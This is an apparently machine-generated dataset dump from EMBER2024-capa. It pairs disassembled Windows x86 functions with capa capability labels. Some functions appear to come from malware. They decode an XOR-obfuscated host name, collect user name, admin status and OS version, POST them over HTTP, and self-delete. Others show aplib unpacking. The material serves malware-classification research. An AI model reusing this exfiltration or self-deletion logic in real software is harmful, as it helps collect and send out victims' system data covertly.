joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000e8c1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x1001d480]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1000e907
cmp word [ebx], dx
jne 0x1000e907
or byte [eax + edi + 0x28], 4
jmp 0x1000e90c
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x1000ea6f
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x1000ea4f
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x1000e94d
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x1000e983
cmp eax, edx
jae 0x1000e991
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x1000e928
jmp 0x1000ea6f
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000ea4a
cmp dword [ebp - 0x18], 0
je 0x1000ea4a
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x1001d480]
test byte [eax + edi + 0x28], 0x48
je 0x1000ea20
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x1000e9e4
mov word [esi], cx
jmp 0x1000ea1b
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x1001d480]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x1001d480]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x1001d480]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x1000ea6f
pop eax
cmp word [ebp - 4], ax
jne 0x1000ea30
cmp esi, ebx
jne 0x1000ea30
mov word [esi], ax
jmp 0x1000ea6c
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.1000e56d
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x1000ea6f
push 0xd
pop eax
jmp 0x1000ea2b
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x1001d480]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x1000ea69
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x1000ea6f
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1000fbb1
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1000fb2d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1000fd20
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1000fd20
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1000fcd5
jg 0x1000fc0d
test eax, eax
je 0x1000fccb
push 1
push 0x1000
call fcn.100097ae
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1000fc30
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1000fcc2
push 0x8000
push ebx
call fcn.1000fa5e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1000fc59
jg 0x1000fc54
cmp ecx, 0x1000
jb 0x1000fc59
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.1000a61e
add esp, 0x10
cmp eax, 0xffffffff
je 0x1000fc9e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1000fc54
jl 0x1000fc85
test ecx, ecx
jne 0x1000fc46
push dword [ebp - 0xc]
push ebx
call fcn.1000fa5e
push esi
call fcn.10008b64
add esp, 0xc
xor ebx, ebx
jmp 0x1000fd2e
cmp byte [edi + 0x24], 0
je 0x1000fcb5
cmp dword [edi + 0x20], 5
jne 0x1000fcb5
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1000fcc0
mov ebx, dword [edi + 0x18]
jmp 0x1000fcc2
xor ebx, ebx
push esi
call fcn.10008b64
pop ecx
jmp 0x1000fd2e
test ecx, ecx
jg 0x1000fc97
jl 0x1000fcd5
test eax, eax
jae 0x1000fc97
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1000e56d
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1000fcf5
cmp byte [edi + 0x1c], 0
je 0x1000fc97
jmp 0x1000fd26
push ebx
call fcn.1000d9f8
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1000fc97
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1000fd2e
cmp byte [edi + 0x1c], 0
je 0x1000fd2b
mov ebx, dword [edi + 0x18]
jmp 0x1000fd2e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.1000e56d
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10011dd0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10011dfd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10011dfd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401000
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x401029
mov al, byte [esi + 1]
inc esi
test al, al
je 0x401021
cmp al, 0x22
jne 0x401015
cmp byte [esi], 0x22
jne 0x401033
inc esi
jmp 0x401033
cmp al, 0x20
jle 0x401033
inc esi
cmp byte [esi], 0x20
jg 0x40102d
mov al, byte [esi]
test al, al
je 0x40103d
cmp al, 0x20
jle 0x401026
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.004018d4
push 0x404004
push section..data
call fcn.004018ba
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x40106d
movzx eax, word [ebp - 0x14]
jmp 0x401070
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.00401123
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0xbfcd00
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00bfce50
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xbfcd26
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbfcd12
add dl, dl
jne 0xbfcd31
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbfcd84
xor eax, eax
add dl, dl
jne 0xbfcd3e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbfce25
add dl, dl
jne 0xbfcd4d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbfcd58
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbfcd63
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbfcd6e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xbfcd7a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xbfcd1d
mov eax, 1
add dl, dl
jne 0xbfcd92
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbfcd9d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbfcd89
sub eax, ebx
mov ebx, 1
jne 0xbfcdd0
mov ecx, 1
add dl, dl
jne 0xbfcdb6
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbfcdc1
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbfcdad
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbfcd1d
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xbfcde7
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbfcdf2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbfcdde
cmp eax, 0x7d00
jae 0xbfce15
cmp eax, 0x500
jb 0xbfce10
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbfcd1d
cmp eax, 0x7f
ja 0xbfce18
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbfcd1d
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xbfce46
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xbfcd1d
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401000
Capabilities:
Check os version

Disassembly:
sub esp, 0xa0
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x9c], eax
push 0x98
lea eax, [esp + 8]
push 0
push eax
call fcn.00406b00
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x401053
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
mov eax, dword [esp + 4]
cmp eax, 6
jne 0x4010e1
jmp loc.004227d8
cmp eax, 5
jne 0x401131
mov eax, dword [esp + 8]
cmp eax, 2
jne 0x401109
mov eax, 3
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
cmp eax, 1
jne 0x401128
mov eax, 2
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
test eax, eax
jne 0x401131
mov eax, 1
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret

Function at 0x401170
Capabilities:
Get disk information

Disassembly:
sub esp, 0x810
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x80c], eax
push ebx
xor ebx, ebx
push 0x3ff
lea eax, [esp + 0x415]
push ebx
push eax
mov byte [esp + 0x41c], bl
call fcn.00406b00
push 0x3ff
lea ecx, [esp + 0x21]
push ebx
push ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov byte [esp + 0x28], bl
call fcn.00406b00
add esp, 0x18
push 0x400
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x14]
push eax
jmp loc.00421068

Function at 0x4012e0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x104], eax
push 0x103
lea eax, [esp + 5]
push 0
push eax
mov byte [esp + 0xc], 0
call fcn.00406b00
add esp, 0xc
push 0x104
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40133a
xor al, al
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004033e4
add esp, 0x108
ret
jmp loc.00422968
Function at 0x4018e0
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
sub esp, 8
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 4], eax
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
push esi
push edi
push 0xfa
mov dword [esp + 0x14], eax
mov esi, ecx
call fcn.00403aef
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x401a54
push 0xfa
push 0
push ebx
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebp
push esi
push 0x414560
push ebx
call fcn.004033f3
mov edi, dword [esp + 0x34]
add edi, 0x18
push edi
call fcn.00403aef
mov esi, eax
add esp, 0x18
test esi, esi
je 0x401a45
mov dword [esi], ebp
mov dword [esi + 4], edi
mov ecx, dword [0x414764]
mov dword [esi + 8], ecx
mov edx, dword [0x414768]
mov dword [esi + 0xc], edx
mov eax, dword [0x41476c]
mov edx, dword [esp + 0x20]
mov dword [esi + 0x10], eax
mov ecx, dword [0x414770]
mov eax, dword [esp + 0x10]
push edx
mov dword [esi + 0x14], ecx
push eax
lea ecx, [esi + 0x18]
push ecx
call fcn.004090e0
add esp, 0xc
xor ecx, ecx
test edi, edi
jle 0x4019b5
lea esp, [esp]
mov al, byte [ecx + esi]
test al, al
je 0x4019b0
cmp al, 0x59
je 0x4019b0
xor al, 0x59
mov byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x4019a0
mov edx, dword [str.___x9:7__9_3x59_]
mov eax, dword [0x414798]
push 0
push 0
push 3
push 0
push 0
push 0x50
push edx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [esp + 0x10], eax
test eax, eax
je 0x401a45
push 0
push 0x100
push 0
push 0
push str.HTTP_1.1
push ebx
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, eax
test ebp, ebp
je 0x401a49
push edi
push esi
push 0
push 0
push ebp
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x401a49
push ebx
call fcn.00403a12
push esi
call fcn.00403a12
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 8
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.004033e4
add esp, 8
ret
mov ebp, dword [esp + 0x10]
push ebx
call fcn.00403a12
add esp, 4
jmp 0x401a5c
mov esi, dword [esp + 0x10]
mov ebp, dword [esp + 0x10]
test esi, esi
je 0x401a69
jmp 0x422328
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x401a7a
push eax
call esi
test ebp, ebp
je 0x401a81
push ebp
call esi
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor al, al
call fcn.004033e4
add esp, 8
ret
Function at 0x402340
Capabilities:
Get session user name

Disassembly:
sub esp, 0x1e4
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x1dc], eax
push 0x94
lea eax, [esp + 0x18]
push 0
push eax
mov dword [esp + 0x1c], 0
call fcn.00406b00
mov ecx, dword [str.___x9:7__9_3x59_]
mov edx, dword [ecx + 0x19c]
add esp, 0xc
mov dword [esp + 0x14], edx
call fcn.00401000
mov dword [esp + 0x10], eax
call fcn.00402ab0
movzx eax, al
push 0
mov dword [esp + 0x1c], eax
call fcn.00404542
add esp, 4
add eax, 0x7080
lea ecx, [esp + 8]
adc edx, 0
push ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
call fcn.004039eb
mov edx, dword [eax + 0x14]
mov dword [esp + 0x20], edx
mov ecx, dword [eax + 0x10]
inc ecx
mov dword [esp + 0x24], ecx
mov edx, dword [eax + 0xc]
mov dword [esp + 0x28], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0x2c], ecx
mov edx, dword [eax + 4]
mov dword [esp + 0x30], edx
mov eax, dword [eax]
add esp, 4
mov dword [esp + 0x30], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x4023f7
jmp loc.00420258
call fcn.00401000
cmp eax, 4
jge 0x402408
mov eax, 3
jmp 0x402423
call fcn.004031d0
cmp eax, 1
jne 0x402419
mov eax, 2
jmp 0x402423
neg eax
sbb eax, eax
and eax, 0xfffffffd
add eax, 3
push 0x12b
lea ecx, [esp + 0xad]
push 0
push ecx
mov dword [esp + 0x40], eax
mov byte [esp + 0xb4], 0
call fcn.00406b00
add esp, 0xc
lea edx, [esp + 4]
push edx
lea eax, [esp + 0xac]
push eax
mov dword [esp + 0xc], 0x12c
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x402477
push 0x64
push eax
lea ecx, [esp + 0x40]
push ecx
call fcn.00406b00
add esp, 0xc
jmp 0x402493
lea edx, [esp + 0xa8]
push edx
lea eax, [esp + 0x3c]
mov byte [esp + 0xd4], 0
call fcn.00401780
add esp, 4
mov eax, dword [0x413190]
mov ecx, dword [0x413194]
mov edx, dword [0x413198]
push 0
mov dword [esp + 0xa0], eax
lea eax, [esp + 0x14]
mov dword [esp + 0xa4], ecx
push 0x98
push eax
mov ecx, 0x414774
mov dword [esp + 0xb0], edx
call fcn.004018e0
mov ecx, dword [esp + 0x1e8]
add esp, 0xc
xor ecx, esp
call fcn.004033e4
add esp, 0x1e4
ret
Function at 0x4031d0
Capabilities:
Compare security identifiers

Disassembly:
sub esp, 0x20
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
xor esi, esi
push edi
mov dword [esp + 0x10], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov byte [esp + 0x24], 0
mov byte [esp + 0x25], 0
mov byte [esp + 0x26], 0
mov byte [esp + 0x27], 0
mov byte [esp + 0x28], 0
mov byte [esp + 0x29], 5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
mov dword [esp + 0x14], ebx
cmp ebx, esi
je 0x4032f3
or edi, 0xffffffff
cmp ebx, edi
je 0x4032f3
lea eax, [esp + 0x18]
push eax
push 0xf01ff
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x40325c
mov dword [esp + 0x10], edi
jmp 0x4032fb
lea ecx, [esp + 0x1c]
push ecx
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea edx, [esp + 0x4c]
push edx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x403285
mov dword [esp + 0x10], edi
jmp 0x4032fb
push 0x400
call fcn.00403aef
push 0x400
mov edi, eax
push esi
push edi
call fcn.00406b00
mov ecx, dword [esp + 0x28]
add esp, 0x10
lea eax, [esp + 0x20]
push eax
push 0x400
push edi
push 2
push ecx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebp, dword [edi]
cmp ebp, esi
jle 0x4032ff
lea ebx, [edi + 4]
mov edx, dword [ebx]
mov eax, dword [esp + 0x1c]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x4032e3
inc esi
add ebx, 8
cmp esi, ebp
jl 0x4032c1
mov ebx, dword [esp + 0x14]
xor esi, esi
jmp 0x4032ff
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x10], 1
xor esi, esi
jmp 0x4032ff
mov dword [esp + 0x10], 0xffffffff
mov edi, dword [esp + 0x14]
cmp edi, esi
je 0x40330c
push edi
call fcn.00403a12
add esp, 4
mov eax, dword [esp + 0x1c]
cmp eax, esi
je 0x40331b
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, esi
je 0x40332d
cmp ebx, 0xffffffff
je 0x40332d
push ebx
call edi
mov eax, dword [esp + 0x18]
cmp eax, esi
je 0x40333d
cmp eax, 0xffffffff
je 0x40333d
push eax
call edi
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004033e4
add esp, 0x20
ret

Function at 0x403360
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
sub esp, 0x114
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x110], eax
jmp loc.00421518

Function at 0x4033e4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412008]
jne 0x4033ee
repz ret
jmp fcn.00404744
Function at 0x4058d6
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push dword [0x41218c]
mov esi, dword [sym.imp.KERNEL32.dll_TlsGetValue]
call esi
test eax, eax
je 0x40590f
mov eax, dword [0x412188]
cmp eax, 0xffffffff
je 0x40590f
push eax
push dword [0x41218c]
call esi
call eax
test eax, eax
je 0x40590f
jmp loc.00420af0
mov esi, str.KERNEL32.DLL
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x40592a
push esi
call fcn.00403470
pop ecx
test eax, eax
je 0x405942
push str.DecodePointer
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x405942
push dword [ebp + 8]
call eax
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
pop esi
pop ebp
ret

Function at 0x406340
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x406356
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x406352
xor edx, edx
mov ecx, 0x10b
jmp 0x420bb8

Function at 0x40aff5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004058cd
and dword [ebp - 4], 0
cmp dword [0x414374], 0
mov ebx, eax
jne 0x40b0a6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b157
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi